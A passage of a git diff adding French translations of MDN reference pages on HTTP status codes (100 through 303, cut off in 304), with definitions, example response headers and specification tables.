Moved Permanently</title> +</head><body> +<h1>Moved Permanently</h1> +<p>The document has moved <a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>">here</a>.</p> +<hr> +<address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address> +</body></html> + +</pre> + +<p><span id="result_box" lang="fr"><span>Notification selon laquelle la ressource demandée n'existe pas :</span></span></p> + +<pre>HTTP/1.1 <strong>404 Not Found</strong> +Date: Sat, 09 Oct 2010 14:33:02 GMT +Server: Apache +Last-Modified: Tue, 01 May 2007 14:24:39 GMT +ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1" +Accept-Ranges: bytes +Content-Length: 10732 +Content-Type: text/html + +<!DOCTYPE html... <strong><em>(contains a site-customized page helping the user to find the missing resource)</em></strong> + +</pre> + +<h3 id="Codes_d'état_de_réponse"><span class="short_text" id="result_box" lang="fr"><span>Codes d'état de réponse</span></span></h3> + +<p><span id="result_box" lang="fr"><span><a href="/fr/docs/Web/HTTP/Status">Les codes d'état de réponse HTTP</a> indiquent si une requête HTTP spécifique a été effectuée avec succès.</span> <span>Les réponses sont regroupées en cinq classes: réponses d'information, réponses réussies, redirections, erreurs de client et erreurs de serveurs.</span></span></p> + +<ul> + <li>{{HTTPStatus(200)}}: OK. <span class="short_text" id="result_box" lang="fr"><span>La demande a réussi.</span></span></li> + <li>{{HTTPStatus(301)}}: Moved Permanently. <span id="result_box" lang="fr"><span>Ce code de réponse signifie que l'URL de la ressource demandée a été modifiée.</span></span></li> + <li>{{HTTPStatus(404)}}: Not Found. <span id="result_box" lang="fr"><span>Le serveur ne peut pas trouver la ressource demandée.</span></span></li> +</ul> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a> (en anglais)</li> + <li><a href="/fr/docs/Web/HTTP/Headers">En-têtes HTTP</a></li> + <li><a href="/fr/docs/HTTP/Méthode">Méthode de requête HTTP</a></li> + <li><a href="/fr/docs/Web/HTTP/Status">Codes de réponse HTTP</a></li> +</ul> diff --git a/files/fr/web/http/status/100/index.html b/files/fr/web/http/status/100/index.html new file mode 100644 index 0000000000..cadae4b22e --- /dev/null +++ b/files/fr/web/http/status/100/index.html @@ -0,0 +1,46 @@ +--- +title: 100 Continue +slug: Web/HTTP/Status/100 +tags: + - Code de statut + - HTTP + - Informational +translation_of: Web/HTTP/Status/100 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <strong><code>100 Continue</code></strong> indique que, jusqu'à présent, tout est normal (OK) et que le client doit poursuivre avec la requête ou l'ignorer si celle-ci est déjà finie.</p> + +<p>Afin que le serveur vérifie les en-têtes des requêtes, un client doit envoyer {{HTTPHeader("Expect")}} : <code>100-continue</code> comme en-tête dans la requête initiale et recevoir le code de statut <code>100 Continue</code> comme réponse avant d'envoyer le corps de la requête.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">100 Continue</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "100")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Expect")}}</li> + <li>{{HTTPStatus(417)}}</li> +</ul> diff --git a/files/fr/web/http/status/101/index.html b/files/fr/web/http/status/101/index.html new file mode 100644 index 0000000000..7f8aa0307e --- /dev/null +++ b/files/fr/web/http/status/101/index.html @@ -0,0 +1,51 @@ +--- +title: 101 Switching Protocol +slug: Web/HTTP/Status/101 +tags: + - Code de statut + - HTTP + - Informatif + - Reference + - WebSockets +translation_of: Web/HTTP/Status/101 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse HTTP <code><strong>101 Switching Protocol</strong></code> indique que le protocole a changé, comme demandé par le client via l'en-tête {{HTTPHeader("Upgrade")}}.</p> + +<p>Le serveur envoie alors une réponse avec un en-tête {{HTTPHeader("Upgrade")}} qui indique le nouveau protocole utilisé.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">101 Switching Protocol</pre> + +<h2 id="Exemples">Exemples</h2> + +<p>Les changements de protocole peuvent être utilisés avec <a href="/fr/docs/WebSockets">WebSockets</a>.</p> + +<pre>HTTP/1.1 101 Switching Protocols +Upgrade: websocket +Connection: Upgrade</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/WebSockets">WebSockets</a></li> + <li>{{HTTPHeader("Upgrade")}}</li> + <li>{{HTTPStatus("426")}}<code> Upgrade Required</code></li> +</ul> diff --git a/files/fr/web/http/status/103/index.html b/files/fr/web/http/status/103/index.html new file mode 100644 index 0000000000..cc3acded03 --- /dev/null +++ b/files/fr/web/http/status/103/index.html @@ -0,0 +1,47 @@ +--- +title: 103 Early Hints +slug: Web/HTTP/Status/103 +tags: + - HTTP + - Reference + - Statut +translation_of: Web/HTTP/Status/103 +--- +<p>{{HTTPSidebar}}{{Draft}}</p> + +<p>Le code de statut de réponse <strong><code>103 Early Hints</code></strong> est principalement utilisé avec l'en-tête HTTP {{HTTPHeader("Link")}} afin de permettre à l'application cliente de commencer le chargement des ressources tandis que le serveur prépare une réponse.</p> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">103 Early Hints</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table" style="height: 82px; width: 852px;"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">État</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC(8297, "103 Early Hints")}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td>Première version</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + + + +<p>{{Compat("http.status.103")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Link")}}</li> +</ul> diff --git a/files/fr/web/http/status/200/index.html b/files/fr/web/http/status/200/index.html new file mode 100644 index 0000000000..4d757877e4 --- /dev/null +++ b/files/fr/web/http/status/200/index.html @@ -0,0 +1,53 @@ +--- +title: 200 OK +slug: Web/HTTP/Status/200 +tags: + - Code de statut + - HTTP +translation_of: Web/HTTP/Status/200 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <strong><code>200 OK</code></strong> indique la réussite d'une requête. Une réponse 200 peut être mise en cache par défaut.</p> + +<p>La signification de la réussite dépend de la méthode de requête HTTP :</p> + +<ul> + <li>{{HTTPMethod("GET")}} : la ressource a été récupérée et est transmise dans le corps du message.</li> + <li>{{HTTPMethod("HEAD")}} : l'en-tête entier est dans le corps du message.</li> + <li>{{HTTPMethod("POST")}} : la ressource qui décrit le résultat d'une action est transmise dans le corps du message.</li> + <li>{{HTTPMethod("TRACE")}} : le corps du message contient le message de requête reçu par le serveur.</li> +</ul> + +<p>La plupart du temps, le résultat d'une requête réussie avec la méthode {{HTTPMethod("PUT")}} ou {{HTTPMethod("DELETE")}} n'est pas <code>200</code> <code>OK</code> mais plutôt {{HTTPStatus("204")}} <code>No Content</code> (ou {{HTTPStatus("201")}} <code>Created</code> lorsque la ressource est envoyée pour la première fois).</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">200 OK</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "200")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Methods">Les verbes utilisés pour les méthodes HTTP</a></li> +</ul> diff --git a/files/fr/web/http/status/201/index.html b/files/fr/web/http/status/201/index.html new file mode 100644 index 0000000000..70f0336336 --- /dev/null +++ b/files/fr/web/http/status/201/index.html @@ -0,0 +1,45 @@ +--- +title: 201 Created +slug: Web/HTTP/Status/201 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/201 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut HTTP <strong><code>201 Created</code></strong> indique que la requête a réussi et qu'une ressource a été créée en conséquence. La nouvelle ressource est effectivement créée avant que la réponse soit renvoyée et cette nouvelle ressource est renvoyée dans le corps du message. Son emplacement est indiqué par l'URL de la requête ou est contenu dans l'en-tête {{HTTPHeader("Location")}}.</p> + +<p>Généralement, ce code de statut est obtenu suite à une requête utilisant la méthode {{HTTPMethod("POST")}}.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">201 Created</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "201")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Methods">Les verbes utilisés pour les méthodes HTTP</a></li> +</ul> diff --git a/files/fr/web/http/status/202/index.html b/files/fr/web/http/status/202/index.html new file mode 100644 index 0000000000..199daa9a97 --- /dev/null +++ b/files/fr/web/http/status/202/index.html @@ -0,0 +1,37 @@ +--- +title: 202 Accepted +slug: Web/HTTP/Status/202 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/202 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <code><strong>202</strong></code><strong><code> Accepted</code></strong> indique que la requête a été reçue mais qu'aucune action n'a encore été entreprise. Cette réponse est sans suite (<em>non-committal</em>) : HTTP ne renverra pas de réponse asynchrone ultérieure pour indiquer le résultat du traitement de la requête. Ce code est utile pour les cas où c'est un autre processus ou serveur qui gère la requête (ou lorsqu'on effectue un traitement en masse).</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">202 Accepted</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/fr/web/http/status/203/index.html b/files/fr/web/http/status/203/index.html new file mode 100644 index 0000000000..0daa15e15f --- /dev/null +++ b/files/fr/web/http/status/203/index.html @@ -0,0 +1,41 @@ +--- +title: 203 Non-Authoritative Information +slug: Web/HTTP/Status/203 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/203 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <strong><code>203 Non-Authoritative Information</code></strong> indique que la requête a réussi mais que le contenu a été modifié entre la réponse {{HTTPStatus("200")}} (<code>OK</code>) du serveur original par un {{Glossary("Proxy server", "proxy")}} transformant.</p> + +<p>La réponse 203 est similaire au code d'en-tête <a href="/fr/docs/Web/HTTP/Headers/Warning#Warning_codes"><code>214</code> (Transformation Applied)</a> {{HTTPHeader("Warning")}}, qui a l'avantage d'être applicable à tout code de statut.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">203 Non-Authoritative Information</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("200")}}</li> + <li>{{Glossary("Proxy server")}}</li> + <li>{{HTTPHeader("Warning")}}</li> +</ul> diff --git a/files/fr/web/http/status/204/index.html b/files/fr/web/http/status/204/index.html new file mode 100644 index 0000000000..863194b79d --- /dev/null +++ b/files/fr/web/http/status/204/index.html @@ -0,0 +1,44 @@ +--- +title: 204 No Content +slug: Web/HTTP/Status/204 +tags: + - Code de statut + - HTTP +translation_of: Web/HTTP/Status/204 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <strong><code>204 No Content</code></strong> indique que la requête a réussi mais que le client n'a pas besoin de quitter la page actuelle. Par défaut, une réponse 204 peut être mise en cache. Un en-tête {{HTTPHeader("ETag")}} est inclus pour ce type de réponse.</p> + +<p>Généralement, ce code est renvoyé lorsque le résultat d'une requête {{HTTPMethod("PUT")}} et qu'une ressource est mise à jour, sans modifier le contenu actuel de la page affichée à l'utilisateur. Si la ressource est créée, c'est le code de statut {{HTTPStatus("201")}} <code>Created</code> qui sera renvoyé à la place. Si la page doit être actualisée avec une nouvelle page mise à jour, c'est le code de statut {{HTTPStatus("200")}} qui doit être utilisé à la place.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">204 No Content</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "204")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Methods">Les verbes utilisés pour les méthodes HTTP</a></li> +</ul> diff --git a/files/fr/web/http/status/205/index.html b/files/fr/web/http/status/205/index.html new file mode 100644 index 0000000000..d85c53b4a5 --- /dev/null +++ b/files/fr/web/http/status/205/index.html @@ -0,0 +1,37 @@ +--- +title: 205 Reset Content +slug: Web/HTTP/Status/205 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/205 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <strong><code>205 Reset Content</code></strong> indique au client de réinitialiser la vue du document, par exemple afin de nettoyer le contenu d'un formulaire, réinitialiser l'état d'un canevas ({{HTMLElement("canvas")}}, ou pour mettre à jour l'interface utilisateur.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">205 Reset Content</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus(204)}} No Content</li> +</ul> diff --git a/files/fr/web/http/status/206/index.html b/files/fr/web/http/status/206/index.html new file mode 100644 index 0000000000..12adb6267d --- /dev/null +++ b/files/fr/web/http/status/206/index.html @@ -0,0 +1,82 @@ +--- +title: 206 Partial Content +slug: Web/HTTP/Status/206 +tags: + - Code de statut + - HTTP +translation_of: Web/HTTP/Status/206 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse succès HTTP <strong><code>206 Partial Content</code></strong> indique que la requête a bien abouti et que le corps de la réponse contient les plages de données demandées, tel que décrit dans l'en-tête {{HTTPHeader("Range")}} de la requête.</p> + +<p>S'il n'y a qu'une seule plage, l'entête {{HTTPHeader("Content-Type")}} de la réponse correspondra au type du document et l'en-tête {{HTTPHeader("Content-Range")}} sera fourni.</p> + +<p>Si plusieurs plages sont renvoyées, l'en-tête {{HTTPHeader("Content-Type")}} vaudra <code>multipart/byteranges</code> et chaque fragment couvrira une plage, décrite par les en-têtes {{HTTPHeader("Content-Range")}} et {{HTTPHeader("Content-Type")}}.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">206 Partial Content</pre> + +<h2 id="Exemples">Exemples</h2> + +<p>Une réponse qui contient une seule plage :</p> + +<pre class="newpage">HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Range: bytes 21010-47021/47022 +Content-Length: 26012 +Content-Type: image/gif + +... 26012 bytes of partial image data ...</pre> + +<p>Une réponse qui contient plusieurs plages :</p> + +<pre class="newpage">HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Length: 1741 +Content-Type: multipart/byteranges; boundary=String_separator + +--String_separator +Content-Type: application/pdf +Content-Range: bytes 234-639/8000 + +...la première plage... +--String_separator +Content-Type: application/pdf +Content-Range: bytes 4590-7999/8000 + +...La seconde plage +--String_separator--</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "206")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> +</ul> diff --git a/files/fr/web/http/status/300/index.html b/files/fr/web/http/status/300/index.html new file mode 100644 index 0000000000..3bdd91ec34 --- /dev/null +++ b/files/fr/web/http/status/300/index.html @@ -0,0 +1,45 @@ +--- +title: 300 Multiple Choices +slug: Web/HTTP/Status/300 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/300 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse <code><strong>300 Multiple Choices</strong></code> indique qu'il existe plusieurs réponses possibles pour la requête. L'agent utilisateur ou l'utilisateur doit alors choisir l'une d'elles. Il n'y a pas de méthode standard pour choisir une des réponses disponibles et ce code de réponse est donc rarement utilisé.</p> + +<p>Si le serveur à une préférence, il doit générer un en-tête {{HTTPHeader("Location")}}.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">300 Multiple Choices</pre> + +<h2 id="Exemples">Exemples</h2> + +<p>Consultez <a href="https://www.w3.org/Style/Examples/007/figures.ht">cette page de w3.org à propos des réponses à choix multiples</a>.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li> + <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire</li> + <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li> +</ul> diff --git a/files/fr/web/http/status/301/index.html b/files/fr/web/http/status/301/index.html new file mode 100644 index 0000000000..e0350e37e6 --- /dev/null +++ b/files/fr/web/http/status/301/index.html @@ -0,0 +1,46 @@ +--- +title: 301 Moved Permanently +slug: Web/HTTP/Status/301 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/301 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse de redirection <code><strong>301</strong></code><strong><code> Moved Permanently</code></strong> indique que la ressource a définitivement été déplacée à l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL).</p> + +<p>Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code <code>301</code> uniquement pour répondre à une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}, et de privilégier le code {{HTTPStatus("308")}} <code>Permanent Redirect</code> pour répondre à {{HTTPMethod("POST")}} puisque le changement de méthode est explicitement interdit avec ce statut.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">301 Moved Permanently</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "301 Redirect Permanently" , "6.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p> + +<p>{{Compat("http/status", "301")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li> + <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire.</li> +</ul> diff --git a/files/fr/web/http/status/302/index.html b/files/fr/web/http/status/302/index.html new file mode 100644 index 0000000000..90b5ade881 --- /dev/null +++ b/files/fr/web/http/status/302/index.html @@ -0,0 +1,50 @@ +--- +title: 302 Found +slug: Web/HTTP/Status/302 +tags: + - Code de statut + - HTTP + - Reference + - redirections +translation_of: Web/HTTP/Status/302 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse de redirection <code><strong>302</strong></code><strong><code> Found</code></strong> indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page, mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL).</p> + +<p>Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est toujours possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code <code>302</code> uniquement comme réponse à une méthode {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et d'utiliser le code {{HTTPStatus("307")}} <code>Temporary Redirect</code> à la place puisque le changement de méthode est explicitement interdit dans ce cas.</p> + +<p>Si vous souhaitez que la méthode utilisée soit changée en {{HTTPMethod("GET")}}, vous pouvez utiliser {{HTTPStatus("303")}} <code>See Also</code> à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} qui n'est pas la ressource téléversée, mais plutôt un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ").</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">302 Found</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p> + +<p>{{Compat("http/status", "302")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("307")}} <code>Temporary Redirect</code>, l'équivalent de ce code de statut, mais qui ne change jamais la méthode utilisée.</li> + <li>{{HTTPStatus("303")}} <code>See Also</code>, une redirection temporaire qui change la méthode utilisée par {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("301")}} <code>Moved Permanently</code>, la redirection permanente.</li> +</ul> diff --git a/files/fr/web/http/status/303/index.html b/files/fr/web/http/status/303/index.html new file mode 100644 index 0000000000..61eabd5c2c --- /dev/null +++ b/files/fr/web/http/status/303/index.html @@ -0,0 +1,43 @@ +--- +title: 303 See Other +slug: Web/HTTP/Status/303 +tags: + - Code de statut + - HTTP + - Référence(2) +translation_of: Web/HTTP/Status/303 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse de redirection <code><strong>303</strong></code><strong><code> See Other</code></strong>, généralement renvoyé comme résultat d'une opération {{HTTPMethod("PUT")}} ou {{HTTPMethod("POST")}}, indique que la redirection ne fait pas le lien vers la ressource nouvellement téléversé mais vers une autre page (par exemple une page de confirmation ou qui affiche l'avancement du téléversement). La méthode utilisée pour afficher la page redirigée est toujours {{HTTPMethod("GET")}}.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox notranslate">303 See Other</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "303 See Other" , "6.4.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "303")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire.</li> +</ul> diff --git a/files/fr/web/http/status/304/index.html b/files/fr/web/http/status/304/index.html new file mode 100644 index 0000000000..1d461ca5e2 --- /dev/null +++ b/files/fr/web/http/status/304/index.html @@ -0,0 +1,50 @@ +--- +title: 304 Not Modified +slug: Web/HTTP/Status/304 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/304 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse de redirection <code><strong>304</strong></code><strong><code> Not Modified</code></strong> indique qu'il n'y a pas besoin de retransmettre les ressources demandées. C'est une redirection implicite vers une ressource mise en cache. Cela survient lorsque la méthode de requête est <em>{{glossary("safe")}}</em> (par exemple une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}), ou lorsque la requête est conditionnelle et utilise l'en-tête {{HTTPHeader("If-None-Match")}} ou {{HTTPHeader("If-Modified-Since")}}.</p> + +<p>La réponse {{HTTPStatus("200")}} <code>OK</code> équivalente aurait inclus les en-têtes {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, 